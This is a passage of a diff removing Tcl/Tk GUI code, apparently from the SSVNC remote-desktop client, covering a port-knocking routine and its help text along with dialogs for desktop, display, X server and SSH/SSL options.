- }
-
- if {$port == ""} {
- bell
- set m "PortKnock: No port found: \"$line0\""
- mesg $m
- return 0
- }
- if {! [regexp {^[0-9][0-9]*$} $port]} {
- bell
- set m "PortKnock: Invalid port: \"$port\""
- mesg $m
- return 0
- }
- regsub {,.*$} $host "" host
- if {[regexp {[ \t]} $host]} {
- bell
- set m "PortKnock: Invalid host: \"$host\""
- mesg $m
- return 0
- }
- if {! [regexp {^[-A-z0-9_.][-A-z0-9_.]*$} $host]} {
- bell
- set m "PortKnock: Invalid host: \"$host\""
- mesg $m
- return 0
- }
-
- set nc ""
- if {$udp || $snd != ""} {
- set nc [find_netcat]
- if {$nc == ""} {
- bell
- set m "PortKnock: UDP: netcat(1) not found"
- mesg $m
- after 1000
- continue
- }
- }
-
- if {$snd != ""} {
- global env
- set pfile "payload$pi.txt"
- if {! $is_windows} {
- set pfile "$env(SSVNC_HOME)/.$pfile"
- }
- set pfiles($pi) $pfile
- incr pi
- set fh [open $pfile "w"]
- puts -nonewline $fh "$snd"
- close $fh
-
- set m "PortKnock: SEND: $host $port"
- mesg $m
- if {$is_windows} {
- if {$udp} {
- catch {exec $nc -d -u -w 1 "$host" "$port" < $pfile &}
- } else {
- catch {exec $nc -d -w 1 "$host" "$port" < $pfile &}
- }
- } else {
- if {$udp} {
- catch {exec $nc -u -w 1 "$host" "$port" < $pfile &}
- } else {
- catch {exec $nc -w 1 "$host" "$port" < $pfile &}
- }
- }
- catch {after 50; file delete $pfile}
-
- } elseif {$udp} {
- set m "PortKnock: UDP: $host $port"
- mesg $m
- if {! $is_windows} {
- catch {exec echo a | $nc -u -w 1 "$host" "$port" &}
- } else {
- set fh [open "nc_in.txt" "w"]
- puts $fh "a"
- close $fh
- catch {exec $nc -d -u -w 1 "$host" "$port" < "nc_in.txt" &}
- }
- } else {
- set m "PortKnock: TCP: $host $port"
- mesg $m
- set s ""
- set emess ""
- set rc [catch {set s [socket -async $host $port]} emess]
- if {$rc != 0} {
- raise .
- tk_messageBox -type ok -icon error -message $emess -title "Error: socket -async $host $port"
- }
- set sockets($i) $s
- # seems we have to close it immediately to avoid multiple SYN's.
- # does not help on Win9x.
- catch {after 30; close $s};
- incr i
- }
-
- if {$delay == 0} {
- if {$default_delay > 0} {
- after $default_delay
- }
- } elseif {$delay > 0} {
- after $delay
- }
- }
-
- if {0} {
- for {set j 0} {$j < $i} {incr j} {
- set $s $sockets($j)
- if {$s != ""} {
- catch {close $s}
- }
- }
- }
- for {set j 0} {$j < $pi} {incr j} {
- set f $pfiles($j)
- if {$f != ""} {
- if [file exists $f] {
- after 100
- }
- catch {file delete $f}
- }
- }
- if {$is_windows} {
- catch {file delete "nc_in.txt"}
- }
- if {$m != ""} {
- set m "$m,"
- }
- if {$mode == "finish"} {
- mesg "PortKnock(finish): done"
- } else {
- mesg "PortKnock: done"
- }
- return 1
-}
-
-proc port_knocking_dialog {} {
- toplev .pk
- wm title .pk "Port Knocking"
- global use_port_knocking port_knocking_list
-
- global help_font
-
- global uname
-
- set h 35
- if [small_height] {
- set h 22
- } elseif {$uname == "Darwin"} {
- set h 25
- }
- scroll_text .pk.f 85 $h
-
- set msg {
- Description:
-
- Port Knocking is where a network connection to a service is not provided
- to just any client, but rather only to those that immediately prior to
- connecting send a more or less secret pattern of connections to other
- ports on the firewall.
-
- Somewhat like "knocking" on the door with the correct sequence before it
- being opened (but not necessarily letting you in yet). It is also possible
- to have a single encrypted packet (e.g. UDP) payload communicate with the
- firewall instead of knocking on a sequence of ports.
-
- Only after the correct sequence of ports is observed by the firewall does
- it allow the IP address of the client to attempt to connect to the service.
-
- So, for example, instead of allowing any host on the internet to connect
- to your SSH service and then try to login with a username and password, the
- client first must "tickle" your firewall with the correct sequence of ports.
- Only then will it be allowed to connect to your SSH service at all.
-
- This does not replace the authentication and security of SSH, it merely
- puts another layer of protection around it. E.g., suppose an exploit for
- SSH was discovered, you would most likely have more time to fix/patch
- the problem than if any client could directly connect to your SSH server.
-
- For more information http://www.portknocking.org/ and
- http://www.linuxjournal.com/article/6811
-
-
- Tip:
-
- If you just want to use the Port Knocking for an SSH shell and not
- for a VNC tunnel, then specify something like "user@hostname cmd=SHELL"
- (or "user@hostname cmd=PUTTY" on Windows) in the VNC Host:Display entry box
- on the main panel. This will do everything short of starting the viewer.
- A shortcut for this is Ctrl-S as long as user@hostname is present.
-
-
- Specifying the Knocks:
-
- In the text area below "Supply port knocking pattern" you put in the pattern
- of "knocks" needed for this connection. You can separate the knocks by
- commas or put them one per line.
-
- Each "knock" is of this form:
-
- [host:]port[/udp] [delay]
-
- In the simplest form just a numerical port, e.g. 5433, is supplied.
- Items inside [...] are optional and described below.
-
- The packet is sent to the same host that the VNC (or SSH) connection will
- be made to. If you want it to go to a different host or IP use the [host:]
- prefix. It can be either a hostname or numerical IP.
-
- A TCP packet is sent by default.
-
- If you need to send a UDP packet, the netcat (aka "nc") program must be
- installed on Unix (tcl/tk does not support udp connections). Indicate this
- with "/udp" following the port number (you can also use "/tcp", but since
- it is the default it is not necessary). (You can also use ":udp" to match
- the knockd syntax). See the example below. For convenience a Windows netcat
- binary is supplied.
-
- The last field, [delay], is an optional number of milliseconds to delay
- before continuing on to the next knock.
-
-
- Examples:
-
- 5433, 12321, 1661
-
- fw.example.com:5433, 12321/udp 3000, 1661 2000
-
- fw.example.com:5433
- 12321/udp 3000
- 1661 2000
-
- Note how the first two examples separate their knocks via commas ",".
- The 3rd example is equivalent to the 2nd and splits them up by new lines.
-
- Note for each knock any second number (e.g. the "2000" in "1661 2000") is
- a DELAY in milliseconds, not a port number. If you had a comma separating
- them: "1661, 2000" that would mean two separate knocks: one to port 1661
- followed by one to 2000 (with basically no delay between them).
-
- In examples 2 and 3, "fw.example.com" represents some machine other than
- the VNC/SSH host. By default, the VNC/SSH host is the one the packet is
- sent to.
-
- If one of the items is the string "FINISH", then the part before it is
- used prior to connecting and the part after is used once the connection
- is finished. This can be used, say, to close the firewall port. Example:
-
- 5433, 12321, FINISH, 7659, 2314
-
- (or one can split them up via lines as above.)
-
-
- Advanced port knock actions:
-
- If the string in the text field contains anywhere the strings "CMD=", "CMDX=",
- or "SEND=", then splitting on commas is not done: it is only split on lines.
-
- Then, if a line begins CMD=... the string after the = is run as an
- external command. The command could be anything you want, e.g. it could
- be a port-knocking client that does the knocking, perhaps encrypting the
- "knocks" pattern somehow or using a Single Packet Authorization method such
- as http://www.cipherdyne.com/fwknop/
-
- Extra quotes (sometimes "'foo bar'") may be needed to preserve spaces in
- command line arguments because the tcl/tk eval(n) command is used. You
- can also use {...} for quoting strings with spaces.
-
- If a line begins CMDX=... then before the command is run the following
- tokens are expanded to strings:
-
- %IP Current machine's IP address (NAT may make this not useful).
- %NAT Try to get effective IP by contacting http://www.whatismyip.com
- %HOST The remote host of the connection.
- %USER The current user.
- %SECS The current time in seconds (platform dependent).
- %MSECS Platform dependent time having at least millisecond granularity.
-
- Lines not matching CMD= or CMDX= are treated as normal port knocks but with
- one exception. If a line ends in SEND=... (i.e. after the [host:]port,
- etc., part) then the string after the = is sent as a payload for the tcp
- or udp connection to [host:]port. netcat is used for these SEND cases
- (and must be available on Unix). If newlines (\n) are needed in the
- SEND string, use %NEWLINE. Sending binary data is not yet supported;
- use CMD= with your own program.
-
-
- Advanced Examples:
-
- CMD=port_knock_client -password wombat33
- CMDX=port_knock_client -password wombat33 -host %HOST -src %NAT
-
- fw.example.com:5433/udp SEND=ASDLFKSJDF
-
-
- More tricks:
-
- To temporarily "comment out" a knock, insert a leading "#" character.
-
- Use "sleep N" to insert a raw sleep for N milliseconds (e.g. between
- CMD=... items or at the very end of the knocks to wait).
-
- If a knock entry matches "delay N" the default delay is set to
- N milliseconds (it is 150 initially).
-
-
- One Time Pads:
-
- If the text contains a (presumably single) line of the form:
-
- PAD=/path/to/a/one/time/pad/file
-
- then that file is opened and the first non-blank line not beginning
- with "#" is used as the knock pattern. The pad file is rewritten
- with that line starting with a "#" (so it will be skipped next time).
-
- The PAD=... string is replaced with the read-in knock pattern line.
- So, if needed, one can preface the PAD=... with "delay N" to set the
- default delay, and one can also put a "sleep N" after the PAD=...
- line to indicate a final sleep. One can also surround the PAD=
- line with other knock and CMD= CMDX= lines, but that usage sounds
- a bit rare. Example:
-
- delay 1000
- PAD=C:\My Pads\work-pad1.txt
- sleep 4000
-
-
- Port knock only:
-
- If, in the 'VNC Host:Display' entry, you use "user@hostname cmd=KNOCK"
- then only the port-knocking is performed. A shortcut for this is
- Ctrl-P as long as hostname is present in the entry box. If it
- matches cmd=KNOCKF, i.e. an extra "F", then the port-knocking
- "FINISH" sequence is sent, if any. A shortcut for this Shift-Ctrl-P
- as long as hostname is present.
-}
- .pk.f.t insert end $msg
-
- label .pk.info -text "Supply port knocking pattern:" -anchor w -relief ridge
-
- eval text .pk.rule -width 80 -height 5 $help_font
- .pk.rule insert end $port_knocking_list
-
- button .pk.cancel -text "Cancel" -command {set use_port_knocking 0; destroy .pk}
- bind .pk <Escape> {set use_port_knocking 0; destroy .pk}
- wm protocol .pk WM_DELETE_WINDOW {set use_port_knocking 0; destroy .pk}
- button .pk.done -text "Done" -command {if {$use_port_knocking} {set port_knocking_list [.pk.rule get 1.0 end]}; destroy .pk}
-
- pack .pk.done .pk.cancel .pk.rule .pk.info -side bottom -fill x
- pack .pk.f -side top -fill both -expand 1
-
- center_win .pk
-}
-
-proc choose_desktop_dialog {} {
- toplev .sd
- wm title .sd "Desktop Type"
- global ts_desktop_type choose_desktop
-
- global ts_desktop_type_def
- set def "kde"
- if {$ts_desktop_type_def != ""} {
- set def $ts_desktop_type_def
- }
-
- if {$ts_desktop_type == ""} {
- set ts_desktop_type $def
- }
-
- label .sd.l1 -anchor w -text "Select the type of remote Desktop"
- label .sd.l2 -anchor w -text "for your session (default: $def)"
-
- radiobutton .sd.b1 -anchor w -variable ts_desktop_type -value kde -text kde
- radiobutton .sd.b2 -anchor w -variable ts_desktop_type -value gnome -text gnome
- radiobutton .sd.b3 -anchor w -variable ts_desktop_type -value Xsession -text cde
- radiobutton .sd.b4 -anchor w -variable ts_desktop_type -value mwm -text mwm
- radiobutton .sd.b5 -anchor w -variable ts_desktop_type -value wmaker -text wmaker
- radiobutton .sd.b6 -anchor w -variable ts_desktop_type -value xfce -text xfce
- radiobutton .sd.b7 -anchor w -variable ts_desktop_type -value enlightenment -text enlightenment
- radiobutton .sd.b8 -anchor w -variable ts_desktop_type -value twm -text twm
- radiobutton .sd.b9 -anchor w -variable ts_desktop_type -value failsafe -text failsafe
-
- button .sd.cancel -text "Cancel" -command {destroy .sd; set choose_desktop 0; set ts_desktop_type ""}
- bind .sd <Escape> {destroy .sd; set choose_desktop 0; set ts_desktop_type ""}
- wm protocol .sd WM_DELETE_WINDOW {destroy .sd; set choose_desktop 0; set ts_desktop_type ""}
- button .sd.done -text "Done" -command {destroy .sd}
-
- pack .sd.l1 .sd.l2 .sd.b1 .sd.b2 .sd.b3 .sd.b4 .sd.b5 .sd.b6 .sd.b7 .sd.b8 .sd.b9 .sd.cancel .sd.done -side top -fill x
-
- center_win .sd
-}
-
-proc choose_size_dialog {} {
- toplev .sz
- wm title .sz "Desktop Size"
- global ts_desktop_size ts_desktop_depth choose_desktop_geom
-
- set def1 "1280x1024"
- set def2 "16"
-
- global ts_desktop_size_def ts_desktop_depth_def
- if {$ts_desktop_size_def != ""} {
- set def1 $ts_desktop_size_def
- }
- if {$ts_desktop_depth_def != ""} {
- set def2 $ts_desktop_depth_def
- }
-
- if {$ts_desktop_size == ""} {
- set ts_desktop_size $def1
- }
- if {$ts_desktop_depth == ""} {
- set ts_desktop_depth $def2
- }
-
- label .sz.l1 -anchor w -text "Select the Size and Color depth"
- label .sz.l2 -anchor w -text "for your Desktop session."
- label .sz.l3 -anchor w -text "Default: $def1 and $def2 bits/pixel."
-
- label .sz.g0 -anchor w -text "Width x Height:" -relief groove
-
- radiobutton .sz.g1 -anchor w -variable ts_desktop_size -value "640x480" -text " 640x480"
- radiobutton .sz.g2 -anchor w -variable ts_desktop_size -value "800x600" -text " 800x600"
- radiobutton .sz.g3 -anchor w -variable ts_desktop_size -value "1024x768" -text " 1024x768"
- radiobutton .sz.g4 -anchor w -variable ts_desktop_size -value "1280x1024" -text "1280x1024"
- radiobutton .sz.g5 -anchor w -variable ts_desktop_size -value "1400x1050" -text "1400x1050"
- radiobutton .sz.g6 -anchor w -variable ts_desktop_size -value "1600x1200" -text "1600x1200"
- radiobutton .sz.g7 -anchor w -variable ts_desktop_size -value "1920x1200" -text "1920x1200"
-
- frame .sz.c
- label .sz.c.l -anchor w -text "Custom:"
- entry .sz.c.e -width 10 -textvariable ts_desktop_size
- pack .sz.c.l -side left
- pack .sz.c.e -side left -expand 1 -fill x
- bind .sz.c.e <Return> {destroy .sz}
-
- label .sz.d0 -anchor w -text "Color Depth:" -relief groove
-
- radiobutton .sz.d1 -anchor w -variable ts_desktop_depth -value "8" -text " 8 bits/pixel"
- radiobutton .sz.d2 -anchor w -variable ts_desktop_depth -value "16" -text "16 bits/pixel"
- radiobutton .sz.d3 -anchor w -variable ts_desktop_depth -value "24" -text "24 bits/pixel"
-
- button .sz.cancel -text "Cancel" -command {destroy .sz; set choose_desktop_geom 0; set ts_desktop_size ""; set ts_desktop_depth ""}
- bind .sz <Escape> {destroy .sz; set choose_desktop_geom 0; set ts_desktop_size ""; set ts_desktop_depth ""}
- wm protocol .sz WM_DELETE_WINDOW {destroy .sz; set choose_desktop_geom 0; set ts_desktop_size ""; set ts_desktop_depth ""}
- button .sz.done -text "Done" -command {destroy .sz}
-
- pack .sz.l1 .sz.l2 .sz.l3 \
- .sz.g0 .sz.g1 .sz.g2 .sz.g3 .sz.g4 .sz.g5 .sz.g6 .sz.g7 \
- .sz.c \
- .sz.d0 .sz.d1 .sz.d2 .sz.d3 \
- .sz.cancel .sz.done -side top -fill x
-
- center_win .sz
- focus .sz.c.e
-}
-
-proc choose_xserver_dialog {} {
- toplev .st
- wm title .st "X Server Type"
- global ts_xserver_type choose_xserver
-
- set def "Xvfb"
- global ts_xserver_type_def
- if {$ts_xserver_type_def != ""} {
- set def $ts_xserver_type_def
- }
-
- if {$ts_xserver_type == ""} {
- set ts_xserver_type $def
- }
-
- label .st.l1 -anchor w -text "Select the type of remote X server"
- label .st.l2 -anchor w -text "for your session (default: $def)"
-
- radiobutton .st.b1 -anchor w -variable ts_xserver_type -value Xvfb -text "Xvfb"
-
- radiobutton .st.b2 -anchor w -variable ts_xserver_type -value Xdummy -text "Xdummy"
-
- radiobutton .st.b3 -anchor w -variable ts_xserver_type -value Xvnc -text "Xvnc"
-
- radiobutton .st.b4 -anchor w -variable ts_xserver_type -value Xvnc.redirect -text "Xvnc.redirect"
-
- button .st.cancel -text "Cancel" -command {destroy .st; set choose_xserver 0; set ts_xserver_type ""}
- bind .st <Escape> {destroy .st; set choose_xserver 0; set ts_xserver_type ""}
- wm protocol .st WM_DELETE_WINDOW {destroy .st; set choose_xserver 0; set ts_xserver_type ""}
- button .st.done -text "Done" -command {destroy .st}
-
- pack .st.l1 .st.l2 .st.b1 .st.b2 .st.b3 .st.b4 .st.cancel .st.done -side top -fill x
-
- center_win .st
-}
-
-proc set_ts_options {} {
- global use_cups use_sound use_smbmnt
- global change_vncviewer choose_xserver
- global ts_only is_windows
- global darwin_cotvnc use_x11_macosx uname
- if {! $ts_only} {
- return
- }
- catch {destroy .o}
- toplev .ot
- wm title .ot "Options"
-
- set i 1
-
- checkbutton .ot.b$i -anchor w -variable choose_desktop -text \
- "Desktop Type" \
- -command {if {$choose_desktop} {choose_desktop_dialog}}
- incr i
-
- checkbutton .ot.b$i -anchor w -variable choose_desktop_geom -text \
- "Desktop Size" \
- -command {if {$choose_desktop_geom} {choose_size_dialog}}
- incr i
-
- checkbutton .ot.b$i -anchor w -variable choose_xserver -text \
- "X Server Type" \
- -command {if {$choose_xserver} {choose_xserver_dialog}}
- incr i
-
- checkbutton .ot.b$i -anchor w -variable use_cups -text \
- "Enable Printing" \
- -command {if {$use_cups} {cups_dialog}}
- incr i
-
- checkbutton .ot.b$i -anchor w -variable use_sound -text \
- "Enable Sound" \
- -command {if {$use_sound} {sound_dialog}}
- incr i
-
-# checkbutton .ot.b$i -anchor w -variable use_smbmnt -text \
-# "Enable SMB mount tunnelling" \
-# -command {if {$use_smbmnt} {smb_dialog}}
-# incr i
-
- checkbutton .ot.b$i -anchor w -variable choose_filexfer -text \
- "File Transfer" \
- -command {if {$choose_filexfer} {ts_filexfer_dialog}}
- incr i
-
- checkbutton .ot.b$i -anchor w -variable use_viewonly -text \
- "View Only"
- incr i
-
- checkbutton .ot.b$i -anchor w -variable change_vncviewer -text \
- "Change VNC Viewer" \
- -command change_vncviewer_dialog_wrap
- incr i
-
- if {!$is_windows && $uname == "Darwin"} {
- checkbutton .ot.b$i -anchor w -variable use_x11_macosx -text \
- "X11 viewer MacOSX" \
- -command {if {$use_x11_macosx} {set darwin_cotvnc 0} else {set darwin_cotvnc 1}; set_darwin_cotvnc_buttons}
- incr i
- }
-
- button .ot.b$i -anchor w -text " Delete Profile..." \
- -command {destroy .ot; delete_profile}
- incr i
-
- button .ot.b$i -anchor w -text " Advanced ..." -command {set_ts_adv_options}
- incr i
-
- for {set j 1} {$j < $i} {incr j} {
- pack .ot.b$j -side top -fill x
- }
-
- frame .ot.b
- button .ot.b.done -text "Done" -command {destroy .ot}
- button .ot.b.help -text "Help" -command help_ts_opts
- pack .ot.b.help .ot.b.done -fill x -expand 1 -side left
-
- bind .ot <Escape> {destroy .ot}
- wm protocol .ot WM_DELETE_WINDOW {destroy .ot}
-
- pack .ot.b -side top -fill x
-
- center_win .ot
- wm resizable .ot 1 0
- focus .ot
-}
-
-proc set_ts_adv_options {} {
- global ts_only ts_unixpw ts_vncshared
- global ts_ncache ts_multisession
- global choose_othervnc darwin_cotvnc choose_sleep
- global is_windows
-
- if {! $ts_only} {
- return
- }
- catch {destroy .ot}
- toplev .ot2
- wm title .ot2 "Advanced"
-
- set i 1
-
- checkbutton .ot2.b$i -anchor w -variable ts_vncshared -text \
- "VNC Shared" \
- -command {if {$ts_vncshared} {ts_vncshared_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable choose_multisession -text \
- "Multiple Sessions" \
- -command {if {$choose_multisession} {ts_multi_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable ts_xlogin -text \
- "X Login Greeter" \
- -command {if {$ts_xlogin} {ts_xlogin_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable choose_othervnc -text \
- "Other VNC Server" \
- -command {if {$choose_othervnc} {ts_othervnc_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable ts_unixpw -text \
- "Use unixpw" \
- -command {if {$ts_unixpw} {ts_unixpw_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable use_bgr233 -text \
- "Client 8bit Color"
- if {$darwin_cotvnc} {.ot2.b$i configure -state disabled}
- global darwin_cotvnc_blist
- set darwin_cotvnc_blist(.ot2.b$i) 1
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable choose_ncache -text \
- "Client-Side Caching" \
- -command {if {$choose_ncache} {ts_ncache_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable choose_x11vnc_opts -text \
- "X11VNC Options" \
- -command {if {$choose_x11vnc_opts} {ts_x11vnc_opts_dialog}}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable choose_sleep -text \
- "Extra Sleep" \
- -command {if {$choose_sleep} {ts_sleep_dialog}}
- incr i
-
- if {$is_windows} {
- checkbutton .ot2.b$i -anchor w -variable choose_parg -text \
- "Putty Args" \
- -command {if {$choose_parg} {ts_putty_args_dialog}}
- incr i
- }
-
- if {!$is_windows} {
- checkbutton .ot2.b$i -anchor w -variable ssh_local_protection -text \
- "SSH Local Protections" \
- -command {if {$ssh_local_protection} {ssh_sec_dialog}}
- if {$is_windows} {.ot2.b$i configure -state disabled}
- incr i
-
- checkbutton .ot2.b$i -anchor w -variable ssh_known_hosts -text \
- "SSH KnownHosts file" \
- -command {if {$ssh_known_hosts} {ssh_known_hosts_dialog}}
- if {$is_windows} {.ot2.b$i configure -state disabled}
- incr i
- }
-
- if {$is_windows} {
- button .ot2.b$i -anchor w -text " Putty Agent" \
- -command {catch {exec pageant.exe &}}
- incr i
-
- button .ot2.b$i -anchor w -text " Putty Key-Gen" \
- -command {catch {exec puttygen.exe &}}
- incr i
- }
-
- global env
- if {![info exists env(SSVNC_TS_ALWAYS)]} {
- button .ot2.b$i -anchor w -text " SSVNC Mode" \
- -command {destroy .ot2; to_ssvnc}
- incr i
- }
-
- if {!$is_windows} {
- button .ot2.b$i -anchor w -text " Unix ssvncviewer ..." \
- -command {set_ssvncviewer_options}
- if {$is_windows} {
- .ot2.b$i configure -state disabled
- }
- global change_vncviewer
- if {$change_vncviewer} {
- .ot2.b$i configure -state disabled
- }
- global ts_uss_button
- set ts_uss_button .ot2.b$i
- incr i
- }
-
- for {set j 1} {$j < $i} {incr j} {
- pack .ot2.b$j -side top -fill x
- }
-
- frame .ot2.b
- button .ot2.b.done -text "Done" -command {destroy .ot2}
- button .ot2.b.help -text "Help" -command help_ts_opts
- pack .ot2.b.help .ot2.b.done -fill x -expand 1 -side left
-
- bind .ot2 <Escape> {destroy .ot2}
- wm protocol .ot2 WM_DELETE_WINDOW {destroy .ot2}
-
- pack .ot2.b -side top -fill x
-
- center_win .ot2
- wm resizable .ot2 1 0
- focus .ot2
-}
-
-proc change_vncviewer_dialog_wrap {} {
- global change_vncviewer ts_uss_button is_windows
- if {$change_vncviewer} {
- change_vncviewer_dialog
- catch {tkwait window .chviewer}
- }
- if {$change_vncviewer || $is_windows} {
- catch {.oa.ss configure -state disabled}
- } else {
- catch {.oa.ss configure -state normal}
- }
- if [info exists ts_uss_button] {
- if {$change_vncviewer || $is_windows} {
- catch {$ts_uss_button configure -state disabled}
- } else {
- catch {$ts_uss_button configure -state normal}
- }
- }
-}
-
-proc set_advanced_options {} {
- global use_cups use_sound use_smbmnt
- global change_vncviewer
- global use_port_knocking port_knocking_list
- global is_windows darwin_cotvnc
- global use_ssh use_sshssl
- global use_x11_macosx
- global adv_ssh
- global showing_no_encryption
- global x11vnc_xlogin_widget
-
- catch {destroy .o}
- toplev .oa
- wm title .oa "Advanced Options"
-
- set i 1
-
- checkbutton .oa.b$i -anchor w -variable use_cups -text \
- "Enable CUPS Print tunnelling" \
- -command {if {$use_cups} {cups_dialog}}
- if {!$use_ssh && !$use_sshssl} {.oa.b$i configure -state disabled}
- set adv_ssh(cups) .oa.b$i
- incr i
-
- checkbutton .oa.b$i -anchor w -variable use_sound -text \
- "Enable ESD/ARTSD Audio tunnelling" \
- -command {if {$use_sound} {sound_dialog}}
- if {!$use_ssh && !$use_sshssl} {.oa.b$i configure -state disabled}
- set adv_ssh(snd) .oa.b$i
- incr i
-
- checkbutton .oa.b$i -anchor w -variable use_smbmnt -text \
- "Enable SMB mount tunnelling" \
- -command {if {$use_smbmnt} {smb_dialog}}
- if {!$use_ssh && !$use_sshssl} {.oa.b$i configure -state disabled}
- set adv_ssh(smb) .oa.b$i
- incr i
-
- checkbutton .oa.b$i -anchor w -variable use_x11vnc_xlogin -text \
- "Automatically Find X Login/Greeter" -command {x11vnc_find_adjust "xlogin"}
- if {!$use_ssh && !$use_sshssl} {.oa.b$i configure -state disabled}
- set x11vnc_xlogin_widget ".oa.b$i"
- incr i
-
- checkbutton .oa.b$i -anchor w -variable additional_port_redirs -text \
- "Additional Port Redirs (via SSH)" \
- -command {if {$additional_port_redirs} {port_redir_dialog}}
- if {!$use_ssh && !$use_sshssl} {.oa.b$i configure -state disabled}
- set adv_ssh(redirs) .oa.b$i
- incr i
-
- global use_ssl use_ssh use_sshssl
-
- if {!$is_windows} {
- checkbutton .oa.b$i -anchor w -variable ssh_known_hosts -text \
- "Private SSH KnownHosts file" \
- -command {if {$ssh_known_hosts} {ssh_known_hosts_dialog}}
- set adv_ssh(knownhosts) .oa.b$i
- if {$use_ssl} {.oa.b$i configure -state disabled}
- if {$is_windows} {.oa.b$i configure -state disabled}
- incr i
-
- checkbutton .oa.b$i -anchor w -variable ssh_local_protection -text \
- "SSH Local Port Protections" \
- -command {if {$ssh_local_protection} {ssh_sec_dialog}}
- global ssh_local_protection_button
- set ssh_local_protection_button .oa.b$i
- if {$use_ssl} {.oa.b$i configure -state disabled}
- if {$is_windows} {.oa.b$i configure -state disabled}
- incr i
- }
-
- global ssh_only
- if {!$ssh_only} {
- if {!$is_windows} {
- checkbutton .oa.b$i -anchor w -variable stunnel_local_protection -text \
- "STUNNEL Local Port Protections" \
- -command {if {$stunnel_local_protection} {stunnel_sec_dialog}}
- global stunnel_local_protection_button
- set stunnel_local_protection_button .oa.b$i
- if {$use_ssh} {.oa.b$i configure -state disabled}
- if {$is_windows} {.oa.b$i configure -state disabled}
- incr i
- }
-
- checkbutton .oa.b$i -anchor w -variable disable_ssl_workarounds -text \
- "Disable SSL Workarounds" \
- -command {if {$disable_ssl_workarounds} {disable_ssl_workarounds_dialog}}
- global disable_ssl_workarounds_button
- set disable_ssl_workarounds_button .oa.b$i
- if {$use_ssh} {.oa.b$i configure -state disabled}
- incr i
-
- if {!$is_windows} {
- checkbutton .oa.b$i -anchor w -variable ultra_dsm -text \
- "UltraVNC DSM Encryption Plugin" \
- -command {if {$ultra_dsm} {ultra_dsm_dialog}}
- global ultra_dsm_button
- set ultra_dsm_button .oa.b$i
- if {$is_windows} {.oa.b$i configure -state disabled}
- if {$use_ssh} {.oa.b$i configure -state disabled}
- incr i
- }
-
- checkbutton .oa.b$i -anchor w -variable no_probe_vencrypt -text \
- "Do not Probe for VeNCrypt"
- global no_probe_vencrypt_button
- set no_probe_vencrypt_button .oa.b$i
- if {$use_ssh} {.oa.b$i configure -state disabled}
- incr i
-
- checkbutton .oa.b$i -anchor w -variable server_vencrypt -text \
- "Server uses VeNCrypt SSL encryption"
- global vencrypt_button
- set vencrypt_button .oa.b$i
- if {$use_ssh} {.oa.b$i configure -state disabled}
- incr i
-
- checkbutton .oa.b$i -anchor w -variable server_anondh -text \
- "Server uses Anonymous Diffie-Hellman" -command no_certs_tutorial_mesg
- global anondh_button
- set anondh_button .oa.b$i
- if {$use_ssh} {.oa.b$i configure -state disabled}
- incr i
- }
-
- checkbutton .oa.b$i -anchor w -variable change_vncviewer -text \
- "Change VNC Viewer" \
- -command change_vncviewer_dialog_wrap
- incr i
-
- checkbutton .oa.b$i -anchor w -variable use_port_knocking -text \
- "Port Knocking" \
- -command {if {$use_port_knocking} {port_knocking_dialog}}
- incr i
-
- for {set j 1} {$j < $i} {incr j} {
- pack .oa.b$j -side top -fill x
- }
-
- global include_list extra_sleep
- frame .oa.fis
- frame .oa.fis.fL
- frame .oa.fis.fR
- label .oa.fis.fL.la -anchor w -text "Include:"
- label .oa.fis.fL.lb -anchor w -text "Sleep:"
- if {$is_windows} {
- label .oa.fis.fL.lc -anchor w -text "Putty Args:"
- pack .oa.fis.fL.la .oa.fis.fL.lb .oa.fis.fL.lc -side top -fill x
- } else {
- pack .oa.fis.fL.la .oa.fis.fL.lb -side top -fill x
- }
-
- entry .oa.fis.fR.ea -width 10 -textvariable include_list
- entry .oa.fis.fR.eb -width 10 -textvariable extra_sleep
- if {$is_windows} {
- entry .oa.fis.fR.ec -width 10 -textvariable putty_args
- pack .oa.fis.fR.ea .oa.fis.fR.eb .oa.fis.fR.ec -side top -fill x
- } else {
- pack .oa.fis.fR.ea .oa.fis.fR.eb -side top -fill x
- }
-
- pack .oa.fis.fL -side left
- pack .oa.fis.fR -side right -expand 1 -fill x
-
- pack .oa.fis -side top -fill x
-
-
- if {!$is_windows} {
- global uname
- set t1 " Unix ssvncviewer ..."
- if {$uname == "Darwin" } { regsub {^ *} $t1 "" t1 }
- button .oa.ss -anchor w -text $t1 -command set_ssvncviewer_options
- pack .oa.ss -side top -fill x
- if {$is_windows} {
- .oa.ss configure -state disabled
- }
- global change_vncviewer
- if {$change_vncviewer} {
- .oa.ss configure -state disabled
- }
-
- set t2 " Use ssh-agent"
- if {$uname == "Darwin" } { regsub {^ *} $t2 "" t2 }
-
- button .oa.sa -anchor w -text $t2 -command ssh_agent_restart
- pack .oa.sa -side top -fill x
- if {$is_windows} {
- .oa.sa configure -state disabled
- }
- } else {
- set t1 " Launch Putty Agent"
- button .oa.pa -anchor w -text $t1 -command {catch {exec pageant.exe &}}
- pack .oa.pa -side top -fill x
-
- set t2 " Launch Putty Key-Gen"
- button .oa.pg -anchor w -text $t2 -command {catch {exec puttygen.exe &}}
- pack .oa.pg -side top -fill x
- }
-
- frame .oa.b
- button .oa.b.done -text "Done" -command {destroy .oa}
- bind .oa <Escape> {destroy .oa}
- wm protocol .oa WM_DELETE_WINDOW {destroy .oa}
- button .oa.b.help -text "Help" -command help_advanced_opts
-
- global use_listen
- if {$use_listen} {
- button .oa.b.connect -text "Listen" -command launch
- } else {
- button .oa.b.connect -text "Connect" -command launch
- }
-
- pack .oa.b.help .oa.b.connect .oa.b.done -fill x -expand 1 -side left
-
- pack .oa.b -side top -fill x
-
- center_win .oa
- wm resizable .oa 1 0
- focus .oa
-}
-
-proc set_ssvncviewer_options {} {
- global is_windows darwin_cotvnc
- global use_ssh use_sshssl use_x11cursor use_rawlocal use_notty use_popupfix use_alpha use_turbovnc disable_pipeline use_grab use_nobell
- global use_send_clipboard use_send_always
- global ssvnc_scale ssvnc_escape
- global server_vencrypt server_anondh
-
- if {$is_windows} {
- return
- }
-
- catch {destroy .oa}
- toplev .os
- wm title .os "Unix ssvncviewer Options"
-
- set darwinlist [list]
-
- set f0 .os.f
